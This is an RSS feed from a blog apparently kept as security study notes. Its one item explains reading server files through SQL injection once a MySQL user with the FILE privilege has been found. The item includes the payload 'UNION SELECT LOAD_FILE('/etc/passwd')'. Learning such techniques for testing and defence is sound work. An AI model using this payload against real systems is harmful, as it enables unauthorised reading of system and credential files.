<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Union-Injection on slightlymore</title><link>https://slightlymore.co.uk/tags/union-injection/</link><description>Recent content in Union-Injection on slightlymore</description><generator>Hugo</generator><language>en-GB</language><copyright>&lt;a href="https://creativecommons.org/licenses/by/4.0/" target="_blank" rel="license"&gt;CC BY 4.0&lt;/a&gt; by Clinton Montague</copyright><lastBuildDate>Sat, 03 Jan 2026 21:09:58 +0000</lastBuildDate><atom:link href="https://slightlymore.co.uk/tags/union-injection/index.xml" rel="self" type="application/rss+xml"/><item><title>Reading files with MySQL</title><link>https://slightlymore.co.uk/reading-files-with-mysql/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/reading-files-with-mysql/</guid><description>&lt;p&gt;After &lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;enumerating user privileges 🌿&lt;/a&gt;
 if you find one which has &lt;code&gt;FILE&lt;/code&gt; you can use that to read files from the target.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOAD_FILE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/etc/passwd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;Enumerating databases, tables, columns, and user privileges with SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/writing-files-with-mysql"&gt;Writing files with MySQL 🌱&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>